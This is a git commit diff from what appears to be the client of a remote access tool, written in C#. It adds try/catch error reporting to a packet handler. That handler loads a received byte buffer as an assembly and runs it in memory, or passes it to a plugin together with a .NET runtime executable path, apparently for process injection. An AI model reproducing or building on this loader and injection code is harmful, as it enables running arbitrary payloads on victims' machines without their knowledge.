Add send exception

This commit is contained in:
NYAN CAT 2019-05-23 03:53:37 +03:00
parent cd7846fabe
commit 8b0cb0c5f3

View File

@ -38,6 +38,8 @@ namespace Client.Handle_Packet
if (injection.Length == 0)
{
new Thread(delegate ()
{
try
{
Assembly loader = Assembly.Load(buffer);
object[] parm = null;
@ -46,6 +48,11 @@ namespace Client.Handle_Packet
parm = new object[] { new string[] { null } };
}
loader.EntryPoint.Invoke(null, parm);
}
catch (Exception ex)
{
Packet.Error(ex);
}
})
{ IsBackground = true }.Start();
@ -53,10 +60,17 @@ namespace Client.Handle_Packet
else
{
new Thread(delegate ()
{
try
{
Assembly loader = Assembly.Load(plugin);
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
}
catch (Exception ex)
{
Packet.Error(ex);
}
})
{ IsBackground = true }.Start();
}